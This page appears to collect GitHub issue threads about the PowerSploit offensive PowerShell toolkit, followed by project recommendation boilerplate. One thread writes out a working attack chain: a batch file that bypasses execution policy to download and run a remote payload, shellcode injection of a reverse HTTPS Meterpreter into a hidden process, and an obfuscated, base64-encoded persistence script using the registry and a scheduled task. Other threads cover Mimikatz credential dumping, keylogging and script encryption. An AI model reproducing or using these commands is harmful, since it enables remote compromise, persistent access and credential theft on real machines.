[*] 99.147.185.246:52618 (UUID: bc23fae9595a0007/x86=1/windows=1/2015-10-20T07:28:17Z) Staging Native payload ...
[*] Meterpreter session 2 opened (172.31.44.157:8443 -> 99.147.185.246:52618) at 2015-10-20 07:28:17 +0000

meterpreter > 


[-] Meterpreter session 2 is not valid and will be closed

[*] 99.247.195.246 - Meterpreter session 2 closed.

No dice! Something funny is going on with my setup, but just putting this out there to see if anyone else has encountered this issue, or see anything out of the ordinary?

Thanks!

Issue with Persistence on Windows 8.1 x64

Having some difficulty getting persistence to work properly. My payload doesn't appear to be executing at the specified times (Logon / Daily).

The scenario is this: I have a .bat file which executes the following:

@ECHO ON
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe -Exec ByPass -Nol -Command "IEX (New-Object Net.WebClient).DownloadString('http://12.34.56.78/payload')

http://12.34.56.78/payload is simply two modules combined into one file (Persistence.psm1 + Invoke--Shellcode.ps1) with my actual payload tacked onto the very end, which simply starts a notepad.exe process and invokes a windows/meterpreter/reverse_https on that instance:

# ...Contents of Persistence.psm1 + Invoke--Shellcode here...
$app = Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden -PassThru
Invoke-Shellcode -ProcessId $app.Id -Payload windows/meterpreter/reverse_https -Lhost 12.34.56.78 -Lport 8443 -Force -Verbose

The above works perfectly when there is no persistence involved -- I execute the .bat file on my target Windows 8.1 x64 machine, and my metasploit multi/handler on 12.34.56.78 springs to life and a Meterpreter session opens.

But no such luck with persistence, and I have a feeling that I'm not quite getting this right...

What I'm doing is base-64 encoding my payload ("IEX (New-Object Net.WebClient).DownloadString('http://12.34.56.78/payload')") and plopping it onto the following PowerShell script, which generates the Persistence.ps1 and RemovePersistence.ps1 files, which subsequently appear to do nothing / fail to spawn a meterpreter instance when executed on my Windows 8.1 machine, immediately or upon user logon. :(

$p = {iex $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyAC4AMwA0AC4ANQA2AC4ANwA4AC8AcABhAHkAbABvAGEAZAAnACkA")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()}"
IEX (New-Object Net.WebClient).DownloadString('http://12.34.56.78/modules')
$u = New-UserPersistenceOptions -Registry -AtLogon
$e = New-ElevatedPersistenceOptions -ScheduledTask -Daily -At '10:00 AM'
Add-Persistence -ScriptBlock $p -UserPersistenceOptions $u -ElevatedPersistenceOptions $e -Verbose -PassThru

Note that http://12.34.56.78/modules is the Persistence.psm1 + Invoke--Shellcode modules, without the meterpreter payload snippet. My train of thought there is, because I don't have PowerSploit installed on my target machine, they need to be loaded into memory? Maybe that's where the problem is.

Any ideas?

Invoke-WmiCommand doesn't work properly in PSv2

One of the core pieces of functionality in Invoke-WmiCommand is that it returns a proper PowerShell object. I do this in memory by using the System.Management.Automation.PSSerializer class to perform object [de]serialization. This class doesn't exist in PSv2 however. I could reimplement the logic in Import/Export-CliXml but I think I'll opt to just use Import/Export-Clixml and temporarily drop the execution results to disk and clean things up accordingly.

Out-EncryptedScript.ps1 - Issues with ASCII Encoding

While testing the latest version of Out-EncryptedScript, we noticed that you modified the latest version to take in the script in the form of Text.Encoding::ASCII.GetBytes. This will mangle the script when it is decrypted on the other side.
Using your original code of just grabbing the script in Byte format instead of ASCII will result in the original script executing properly.
I tested this with Invoke-Mimikatz.ps1
Changing line #83 in Out-EncryptedScript.ps1 back to:
[Byte[]] $scriptBytes = Get-Content -Encoding byte -Path $ScriptPath
will correct this problem.

Get-Keystrokes

Hey,
The Get-Keystrokes script often misses single keystrokes. Sometime the script outputs a keystroke twice. Is it a bug or just the most-suitable solution with waiting 40ms?

Invoke-Mimikatz and commands with spaces

I'm on a domain controller and am attempting to run the "lsadump::lsa /patch" command in order to gather a full dump of hashes, but when using Invoke-Mimikatz -Command it treats the space as a separator to start a new command.

If there was a way to pass commands with spaces (I tried escaping the space, didn't seem to work) or else enter the interactive mode of Mimikatz, that would be ideal.

PowerView: Do some Pester tests require a domain?

The following Recon.tests.ps1 tests are failing due to the fact that my machine is not attached to a domain:

  • Invoke-UserHunter
  • Invoke-StealthUserHunter
  • Invoke-ProcessHunter
  • Invoke-ShareFinder
  • Invoke-FileFinder
  • Find-LocalAdminAccess
  • Invoke-EnumerateLocalAdmin
Assert failed on "GetCurrentDomain" with "0" argument(s): "Current security context is not associated with an Active Directory domain or forest."

I realize that these functions are best used on a domain joined machine but for the purposes of Pester tests, is that what you intend to do?

These tests also assume that %userdnsdomain% is defined. It isn't defined on my non domain-joined machine.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.